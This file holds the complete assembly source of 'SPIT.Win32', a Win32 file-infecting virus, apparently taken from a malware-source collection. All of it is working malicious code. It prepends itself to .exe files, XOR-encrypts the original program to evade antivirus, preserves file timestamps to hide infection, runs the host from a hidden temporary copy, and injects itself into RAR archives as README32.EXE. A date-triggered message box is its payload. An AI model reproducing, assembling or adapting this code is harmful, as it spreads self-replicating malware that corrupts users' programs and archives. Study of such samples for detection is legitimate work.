MalwareSourceCode/Win32/Infector/Win32.Spit.asm
2020-10-16 23:26:21 +02:00

858 lines
26 KiB
NASM

;
; SPIT.Win32 rev2.1
; a Bumblebee Win32 Virus
;
; . Yeah! It's simple but FULL Win32 compatible -i think-. A non-resident
; Win32 virus using ffirst 'n' fnext.
; . Copies into host: virus+host. When host execs copies host to
; temporary file and execs it. Then waits until exec ends to delete
; the tmp file. It's like a spit: petty but annoying if falls over you ;)
;
; . Is my 1st PE virus and can be improved -see icons on infected files-.
; But SPIT uses a simple way to infect!
;
; . Notes:
; - Uses WinExec 'cause CreateProcess is more complex.
; - Virus size is 8192 bytes (code+data+headers+...)
; - Marks Dos header with 'hk' on infected files
; - Makes a semi-random name for tmp file
;
; . What's new on rev2?
;
; - Only infect PE files
; - exec host before infect
; - Best random tmp name
; - Hide tmp host with hidden attribute while exec
; - Encrypts host -fuck you avers ;)-
; - no file time change
; - uses CD13 routines to drop over RAR file -Thanx CD13!-
;
; . What's new on rev2.1?
; - a stupid error fixed -WinExec 1st push must be 1 :(-
;
;
; . ThanX to...
;
; ... 29a for e-zines, CD13 for his cool stuff, and Lethal for
; find a bug when i think it was finished ...
;
;
; The way of the bee
;
; . yeah Lich... win32 programming is:
;
; push shit
; push moreShit
; push tooMuchShit
; call WinGoesToHell
;
;
; tasm /ml /m3 v32,,;
; tlink32 -Tpe -c v32,v32,, import32.lib
;
.386
locals
jumps
.model flat,STDCALL
; procs to import
extrn ExitProcess:PROC
extrn CreateFileA:PROC
extrn WriteFile:PROC
extrn CloseHandle:PROC
extrn FindFirstFileA:PROC
extrn FindNextFileA:PROC
extrn ReadFile:PROC
extrn GetCommandLineA:PROC
extrn VirtualAlloc:PROC
extrn VirtualFree:PROC
extrn MessageBoxA:PROC
extrn _llseek:PROC
extrn GetFileSize:PROC
extrn DeleteFileA:PROC
extrn WinExec:PROC
extrn lstrcpy:PROC
extrn lstrcat:PROC
extrn GetSystemTime:PROC
extrn SetFileAttributesA:PROC
extrn GetFileTime:PROC
extrn SetFileTime:PROC
; from BC++ Win32 API on-line Reference
WIN32_FIND_DATA struc
dwFileAttributes dd 0
dwLowDateTime0 dd ? ; creation
dwHigDateTime0 dd ?
dwLowDateTime1 dd ? ; last access
dwHigDateTime1 dd ?
dwLowDateTime2 dd ? ; last write
dwHigDateTime2 dd ?
nFileSizeHigh dd ?
nFileSizeLow dd ?
dwReserved dd 0,0
cFileName db 260 dup(0)
cAlternateFilename db 14 dup(0)
db 2 dup(0)
WIN32_FIND_DATA ends
; struc from 29A INC files... THANX you a lot!
IMAGE_DOS_HEADER STRUC
MZ_magic DW ? ; Magic number
MZ_cblp DW ? ; Bytes on last page of file
MZ_cp DW ? ; Pages in file
MZ_crlc DW ? ; Relocations
MZ_cparhdr DW ? ; Size of header in paragraphs
MZ_minalloc DW ? ; Minimum extra paragraphs needed
MZ_maxalloc DW ? ; Maximum extra paragraphs needed
MZ_ss DW ? ; Initial (relative) SS value
MZ_sp DW ? ; Initial SP value
MZ_csum DW ? ; Checksum
MZ_ip DW ? ; Initial IP value
MZ_cs DW ? ; Initial (relative) CS value
MZ_lfarlc DW ? ; File address of relocation table
MZ_ovno DW ? ; Overlay number
MZ_res DW 4 DUP (?) ; Reserved words
MZ_oemid DW ? ; OEM identifier (for e_oeminfo)
MZ_oeminfo DW ? ; OEM information; e_oemid specific
MZ_res2 DW 10 DUP (?) ; Reserved words
MZ_lfanew DD ? ; File address of new exe header
IMAGE_DOS_HEADER ENDS
IMAGE_SIZEOF_DOS_HEADER EQU SIZE IMAGE_DOS_HEADER
; for RAR drop
HeaderSize equ FinRARHeader-RARHeader
Size equ 8192
.DATA
dos_header IMAGE_DOS_HEADER <?> ; for inf check test
find_data WIN32_FIND_DATA <?> ; for ffirst 'n' fnext
fMask: db '*.EXE',0 ; mask for exe
ffHnd: dd ? ; ff'n'fn handle
fHnd: dd ? ; file handle
mHnd: dd ? ; memory handle
mtHnd: dd ? ; tmp memory handle
mtaHnd: dd ? ; tmp memory handle for args
commandLine: dd ? ; you know...
hArgs: db ? ; flag for has args
argsPos: dd ? ; pos of args in cmd line
fSize: dd ? ; tmp size of file
size2Read dd 0 ; used for r/w ops
titleb db 'Virus Report rev2.1',0
vid db 'SPIT.Win32 is a Bumblebee Win32 Virus',0ah,0dh
mess db 0ah,0dh,'Feel the power of Spain and die by the SpiT!'
db 0ah,0dh,0
tmpHost db 'bbbee'
rndHost db '000000.exe',0
execStatus: db 0 ; status after exec
sysTimeStruct db 16 dup(0)
; data for save time
stfHnd dd ?
time0 dd 0,0
time1 dd 0,0
time2 dd 0,0
sErr db 0
; data for RAR drop by CD13
dMask: db '*.RAR',0 ; mask for rar
Number dd 0
RARHeader: ; Header that we will add
RARHeaderCRC dw 0 ; We'll fill: CRC of header
RARType db 074h ; File Header
RARFlags dw 8000h
RARHeadsize dw HeaderSize
RARCompressed dd Size ; Compressed and Original
RAROriginal dd Size ; size are the same, we stored
RAROs db 0 ; OS: ms-dos
RARCrc32 dd 0 ; We must fill this field
RARFileTime db 063h,078h ; Time of the program
RARFileDate db 031h,024h ; Date of the proggy
RARNeedVer db 014h
RARMethod db 030h ; Method: storing
RARFnameSize dw FinRARHeader-RARName
RARAttrib dd 0
RARName db "README32.EXE" ; Name of file to drop
FinRARHeader label byte
.CODE
inicio:
lea eax,sysTimeStruct ; check for payload
push eax
call GetSystemTime
lea eax,sysTimeStruct ; april 5
cmp word ptr [eax+2],4
jne skipPay
cmp word ptr [eax+6],5
jne skipPay
push 1000h ; petty payload
lea eax,titleb
push eax
lea eax,vid
push eax
push 0
call MessageBoxA
skipPay:
call GetCommandLineA ; get command line
mov dword ptr [commandLine],eax
skipArgs: ; skip args
cmp dword ptr [eax],'EXE.'
je argsOk
inc eax
jmp skipArgs
argsOk:
add eax,4
cmp byte ptr [eax],0
jne hasArgs
mov byte ptr hArgs,0
jmp sHasArgs
hasArgs:
mov byte ptr [eax],0
mov byte ptr hArgs,1
mov dword ptr [argsPos],eax
sHasArgs:
call execHoste ; exec host
push 00000004h ; read/write page
push 00001000h ; mem commit (reserve phys mem)
push 8192 ; size to alloc
push 0h ; let system decide where to alloc
call VirtualAlloc
cmp eax,0
je justOut ; ops... not memory to alloc?
mov dword ptr [mHnd],eax
xor eax,eax
push eax
push 00000080h
push 3
push eax
push 00000001h
push 80000000h
mov eax,dword ptr [commandLine]
push eax
call CreateFileA ; open own file for read (shared)
cmp eax,-1
je justOut ; error: we can't infect ..snif..
mov dword ptr [fHnd],eax ; save handle
push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
push 8192
push dword ptr [mHnd]
push dword ptr [fHnd]
call ReadFile ; read vx from hoste
mov eax,dword ptr size2Read
cmp eax,0
je justOut
mov eax,dword ptr [mHnd]
add eax,12h
mov word ptr [eax],'kh' ; infection sign
; -only needed in 1st infection-
; but...
hOwnClose:
mov eax,dword ptr [fHnd] ; close own file
push eax
call CloseHandle
lea eax,find_data ; find first *.exe
push eax
lea eax,fMask
push eax
call FindFirstFileA
cmp eax,-1
je goOut
mov dword ptr [ffHnd],eax
fnext:
call checkFile ; check file before infection process
jc noInfect
call infectFile
noInfect:
lea eax,find_data ; find next *.exe
push eax
mov eax,dword ptr [ffHnd]
push eax
call FindNextFileA
cmp eax,0
jne fnext
mov eax,dword ptr [ffHnd] ; close ffist/fnext handle
push eax
call CloseHandle
goOut:
lea eax,find_data ; find first *.rar
push eax
lea eax,dMask
push eax
call FindFirstFileA
cmp eax,-1
je justOut
mov dword ptr [ffHnd],eax
fnextRar:
call saveTime
call drop
cmp byte ptr [sErr],1
je findNextRar
call restoreTime
findNextRar:
lea eax,find_data ; find next *.rar
push eax
mov eax,dword ptr [ffHnd]
push eax
call FindNextFileA
cmp eax,0
jne fnextRar
mov eax,dword ptr [ffHnd] ; close ffist/fnext handle
push eax
call CloseHandle
justOut:
cmp byte ptr [execStatus],0 ; error while exec host?
je skipDelLoop
delLoop:
lea eax,tmpHost
push eax ; delete tmp hoste
call DeleteFileA
cmp eax,0
je delLoop ; wait until exec ends
skipDelLoop:
push 0h ; exit
call ExitProcess
jmp skipDelLoop
checkFile: ; checks file
push edx
lea edx,find_data.cFileName
call testIfPE
pop edx
jc checkErrOut
mov ax,word ptr dos_header.MZ_csum
cmp ax,'kh'
je checkErrOut ; check if it's infected yet
checkOut:
clc
ret
checkErrOut:
stc
ret
testIfPE:
xor eax,eax
push eax
push 00000080h
push 3
push eax
push 00000001h
push 80000000h
push edx
call CreateFileA ; open file for read (shared)
cmp eax,-1
je loadHErrOut
mov dword ptr [fHnd],eax ; save handle
push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
push IMAGE_SIZEOF_DOS_HEADER
lea eax,dos_header
push eax
push dword ptr [fHnd]
call ReadFile ; read DOS header
mov eax,dword ptr size2Read
cmp eax,0
je loadHErrOut
mov ax,word ptr [dos_header.MZ_magic]
add al,ah
cmp al,'M'+'Z' ; check it's a EXE
jne loadHErrOut
push 0
push dword ptr [dos_header.MZ_lfanew]
push dword ptr [fHnd]
call _llseek ; lseek to begin of PE header
cmp eax,-1
je loadHErrOut
push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
push 2
lea eax,dos_header
push eax
push dword ptr [fHnd]
call ReadFile ; read PE sign
mov eax,dword ptr size2Read
cmp eax,0
je loadHErrOut
mov ax,word ptr [dos_header.MZ_magic]
add al,ah
cmp al,'P'+'E' ; check it's a PE
jne loadHErrOut
mov eax,dword ptr [fHnd] ; close file
push eax
call CloseHandle
clc
ret
loadHErrOut:
mov eax,dword ptr [fHnd] ; close file
push eax
call CloseHandle
stc
ret
infectFile:
call saveTime ; save time of file
xor eax,eax
push eax
push 00000080h
push 3
push eax
push 00000001h OR 00000002h
push 40000000h OR 80000000h
lea eax,find_data.cFileName
push eax
call CreateFileA ; open file for r/w (shared)
cmp eax,-1
je infErrOutNC
mov dword ptr [fHnd],eax ; save handle
push 0
push eax
call GetFileSize
cmp eax,-1
je infErrOutC
mov dword ptr [fSize],eax ; save size of file
push 00000004h ; read/write page
push 00001000h ; mem commit (reserve phys mem)
push eax ; size to alloc
push 0h ; let system decide where to alloc
call VirtualAlloc ; alloc memory for future hoste
cmp eax,0
je infErrOutC ; ops... not memory to alloc?
mov dword ptr [mtHnd],eax
push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
push dword ptr [fSize]
push dword ptr [mtHnd]
push dword ptr [fHnd]
call ReadFile ; read future hoste
mov eax,dword ptr size2Read
cmp eax,0
je infErrOutC
push 0
push 0
push dword ptr [fHnd]
call _llseek ; lseek to begin of file
cmp eax,-1
je infErrOutC
push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
push 8192
push dword ptr [mHnd]
push dword ptr [fHnd]
call WriteFile ; write virii
call encrypt ; encrypt hoste
push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
push dword ptr [fSize]
push dword ptr [mtHnd]
push dword ptr [fHnd]
call WriteFile ; write future hoste
push 00004000h
push dword ptr [fSize]
push dword ptr [mtHnd]
call VirtualFree ; free future host mem
infErrOutC:
mov eax,dword ptr [fHnd] ; close file
push eax
call CloseHandle
infErrOutNC:
cmp byte ptr [sErr],0
jne skipRestoreTime
call restoreTime
skipRestoreTime:
ret
execHoste:
xor eax,eax
push eax
push 00000080h
push 3
push eax
push 00000001h
push 80000000h
mov eax,dword ptr [commandLine]
push eax
call CreateFileA ; open host file for read (shared)
cmp eax,-1
je exeErrOutNC
mov dword ptr [fHnd],eax ; save handle
push 0
push eax
call GetFileSize
cmp eax,-1
je exeErrOutC
sub eax,8192 ; sub virus size
mov dword ptr [fSize],eax ; save size of file
push 00000004h ; read/write page
push 00001000h ; mem commit (reserve phys mem)
push eax ; size to alloc
push 0h ; let system decide where to alloc
call VirtualAlloc ; alloc memory for hoste
cmp eax,0
je exeErrOutC ; ops... not memory to alloc?
mov dword ptr [mtHnd],eax
push 0
push 8192
push dword ptr [fHnd]
call _llseek ; lseek to hoste of file
cmp eax,-1
je exeErrOutC
push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
mov eax,dword ptr [fSize]
push eax
push dword ptr [mtHnd]
push dword ptr [fHnd]
call ReadFile ; read hoste
mov eax,dword ptr size2Read
cmp eax,0
je exeErrOutC
mov eax,dword ptr [fHnd] ; close file
push eax
call CloseHandle
call encrypt ; dencrypt hoste
mov ecx,6
mov edx,offset rndHost
loopRnd:
call getRandom ; make a random tmp name
mov byte ptr [edx],al
inc edx
loop loopRnd
xor eax,eax
push eax
push 00000020h ; archive
push 1
push eax
push 00000001h OR 00000002h
push 40000000h
lea eax,tmpHost
push eax
call CreateFileA ; open new file for write (shared)
cmp eax,-1
je exeErrOutNC
push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
mov eax,dword ptr [fSize]
push eax
push dword ptr [mtHnd]
push dword ptr [fHnd]
call WriteFile ; write hoste
mov eax,dword ptr [fHnd] ; close file
push eax
call CloseHandle
push 00004000h
push dword ptr [fSize]
push dword ptr [mtHnd]
call VirtualFree ; free future host mem
push 00000004h ; read/write page
push 00001000h ; mem commit (reserve phys mem)
push 1024 ; size to alloc
push 0h ; let system decide where to alloc
call VirtualAlloc ; alloc memory for hoste
cmp eax,0
je exeErrOutNC ; ops... not memory to alloc?
mov dword ptr [mtaHnd],eax
lea eax,tmpHost
push eax
mov eax,dword ptr [mtaHnd]
push eax
call lstrcpy ; make a command line
cmp byte ptr [hArgs],0 ; it has not arguments
je execNow
mov eax,dword ptr [argsPos]
mov byte ptr [eax],' '
push eax
mov eax,dword ptr [mtaHnd]
push eax
call lstrcat ; add arguments
execNow:
push 1
mov eax,dword ptr [mtaHnd]
push eax ; exec tmp hoste
call WinExec
mov byte ptr [execStatus],1
push 2
lea eax,tmpHost
push eax
call SetFileAttributesA ; hide file
ret
exeErrOutC:
mov eax,dword ptr [fHnd] ; close file
push eax
call CloseHandle
exeErrOutNC:
ret
getRandom:
in al,40h
cmp al,65
jb getRandom
cmp al,90
ja getRandom
ret
encrypt:
mov edi,dword ptr [mtHnd]
mov eax,dword ptr [fSize] ; use size low byte as ckey
mov ecx,dword ptr [fSize]
encryptLoop:
xor byte ptr [edi],al
inc edi
loop encryptLoop
ret
saveTime:
xor eax,eax
push eax
push 00000080h
push 3
push eax
push 00000001h
push 80000000h
lea eax,find_data.cFileName
push eax
call CreateFileA ; open own file for read (shared)
cmp eax,-1
je saveErr ; error: we can't save time
mov dword ptr [stfHnd],eax
lea eax,time2
push eax
lea eax,time1
push eax
lea eax,time0
push eax
push dword ptr [stfHnd]
call GetFileTime
mov eax,dword ptr [stfHnd] ; close file
push eax
call CloseHandle
mov byte ptr [sErr],0
ret
saveErr:
mov byte ptr [sErr],1
ret
restoreTime:
xor eax,eax
push eax
push 00000080h
push 3
push eax
push 00000001h
push 40000000h
lea eax,find_data.cFileName
push eax
call CreateFileA ; open own file for read (shared)
cmp eax,-1
je restoreErr ; error: we can't restore time
mov dword ptr [stfHnd],eax
lea eax,time2
push eax
lea eax,time1
push eax
lea eax,time0
push eax
push dword ptr [stfHnd]
call SetFileTime
mov eax,dword ptr [stfHnd] ; close file
push eax
call CloseHandle
restoreErr:
ret
; CD13 routines modified for SPIT -cool routines!-
drop:
xor eax,eax ; open rar file
push eax
push 00000080h
push 3
push eax
push eax
push 40000000h
lea eax,find_data.cFileName
push eax
call CreateFileA
cmp eax,-1
je dropErr
mov dword ptr [fHnd],eax
xor eax,eax
push 02
push eax ; Move pointer to EOF
push dword ptr [fHnd]
call _llseek
mov esi,dword ptr [mHnd]
mov edi,Size ; Get CRC32 of the program
call CRC32 ; that we'll drop
mov dword ptr [RARCrc32],eax ; Save the CRC
mov esi,offset RARHeader+2
mov edi,HeaderSize-2
call CRC32 ; Get CRC32 of the header
mov word ptr [RARHeaderCRC],ax
xor eax,eax
push eax
push offset Number ; Number of bytes written
push HeaderSize
push offset RARHeader ; Write the header
push dword ptr [fHnd]
call WriteFile
mov word ptr [RARHeaderCRC],0
mov word ptr [RARCrc32],0 ; Blank these fields
mov word ptr [RARCrc32+2],0
push 0
push offset Number
push Size
push dword ptr [mHnd] ; Drop the file
push dword ptr [fHnd]
call WriteFile
push dword ptr [fHnd] ; Close it
call CloseHandle
dropErr:
ret
CRC32: cld ; Routine extracted from Vecna's
push ebx ; Inca virus! Muito brigado, friend!
mov ecx,-1 ; Calculates CRC32 at runtime, no
mov edx,ecx ; need of big tables.
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0edb8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec di
jnz NextByteCRC
not edx
not ecx
pop ebx
mov eax,edx
rol eax,16
mov ax,cx
ret
Ends
End inicio